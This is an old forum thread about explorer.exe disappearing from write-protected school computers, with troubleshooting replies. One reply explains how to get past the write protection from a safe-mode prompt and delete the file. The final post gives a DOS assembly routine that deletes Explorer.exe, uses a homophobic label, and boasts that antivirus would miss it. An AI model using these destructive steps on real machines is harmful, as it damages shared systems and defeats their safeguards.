Windows- Explorer.exe Missing

[uh...ok]

Well actually this isn't my own problem or else I would be able to post this right now...

A few computers at my school (new HPs) have been experiencing difficulties loading, giving a message "Error loading explorer.exe, Reinstall Windows".

Well I went to the DOS and did a search, apparently, someone, or something, took out the Explorer.exe file.

Funny thing is this: the system is protected by a security program that prevents any kind writing on the hard drives. (Well actually, they only put in the security programs recently after they discovered students downloading games onto the computers... but that's irrelevant because the security software was installed before the explorer.exe file started disappearing.)

So does anyone know if there's a certain program or virus (they also have the systems virus-protected, so...)... or even a loophole around the security system that allows file-access?

They're running Norton Anti-Virus Corporate Edition right now, along with the Novell Server software... I think the security is also performed by one of the two.


-uh...ok

[uh...ok]

Well I just figured out (kinda late) that it's quite impossible to delete explorer.exe while IN Windows...

Hmm... seems more like a bug or a crash thing that accidentally deletes the file... or perhaps a program that somehow snuck onto the server?


Any clues?


-uh...ok

[Canis Lupus]

My guess would have to be a .VBS worm virus (the strains vary). This virus is pretty bad - it infected two computers we had at work (both had Norton AV on them) and all I could do to fix the damage was to reformat the computers (after a DOS scan didn't work). What it usually does is rename or move the Explorer.exe file, and then put in either a dummy file or a redirect to the wrong folder. This can be contracted via email attachments (I don't think any security software can guarantee prevention of .VBS files renaming critical files).

Unfortunately, these viruses spread pretty fast on networks. I am willing to bet that they don't normally download virus updates on their Norton Antivirus software.

I would suggest either a DOS-level viruscan (boot from a floppy disk and run a DOS-based anti-virus software), or just reformat the infected computers...

------------------
Those who expect nothing will never be disappointed...

[uh...ok]

Hmmm... damn viruses...

Actually when I did a "dir/s" in DOS (since I could only go to command prompt) for explorer.*, I got ONE file... "explorer.sfh" or something of the like... the file extension started with an "s". Think that the file may have been renamed to that, or does explorer.s** actually exist along with explorer.exe?


-uh...ok

[uh...ok]

Nevermind, I just scanned my own drive.... Explorer.SCF.


-uh...ok

[The-AoD]

Uh..ok.. The explorer.scf file is the command file for windows explorer. The file/folder explorer. With the write protection idea. That is easily bypassed by simply not allowing the config.sys or Autoexec.bat or windows to load. F8 during the "Starting windows" usually allows that. Just going to safe mode command prompt allows instant access. a simple command of del c:\windows\explorer.exe does that. My idea is simply to take a new comp without the explorer.exe and simply copying that file to a floppy and copy the file to teh comps in question. Copy A:\explorer.exe c:\windows That will fix the problem. Some child probably just did that to make himself feel 1337. 8)

------------------
Its Alive!!!!!

[uh...ok]

I doubt it. Some guy was at the computer, and I was sitting right next to him, and he was still using IE to surf the web.

Then after he got up, I went over to the computer, and realized that my mouse clicks didn't register. So I rebooted.

And got the error message. And realized explorer.exe was gone.

So simply copying the file back into the computer will work?


-uh...ok

[The-AoD]

Well check if the Autoexec.bat has a command deleting this file. Simply remove the command if it exist and copy the explorer.exe. Windows will not run without explorer.exe. Therefore it had to be deleted after windows shutting down. Try copying the file back on if the problem persists try looking for something deleting this file. If you can't find it. Format!!!! 8)

------------------
Its Alive!!!!!

[Kerash]

Thats an Easy One!


mov ah,13h
mov dx,seg Gay_Schools
mov ds,dx
mov dx,offset Gay_Schools
int 21h
cmp al,0ffh
je error
.
.
.
Gay_Schools db 0
db 'Explorer '
db 'exe'
db 25 dup (0)

Exit to dos, Execute that, and by by Explorer.exe , Besides the fact that Those ' security ' software run in a Win32 evinronment, So exiting to dos inturn dissables them.
Anyways, Basicly i'm just proving that ' Security ' software is Sad and that ' viruses ' are only applications that make another predefined application do something it normally wouldn't do. ( I.E: Delete Explorer.exe )
Norton Antivirus Software searches From a database of Known Virus's, Hence that Application i quickly put together above, Wouldn't be ' detected ' Cause i just Wrote it for EDGUCATIONAL perposes. Anyways, enough of my Blabering, and good day to you sir http://www.opentechsupport.net/forums/smile.gif

------------------
Need Extra Help? http://www.kerash.org

<FONT COLOR="#FF0000" SIZE="1" FACE="Verdana, Arial">[This message has been edited by Kerash on February 16, 2001 @ 09:12 PM]</font>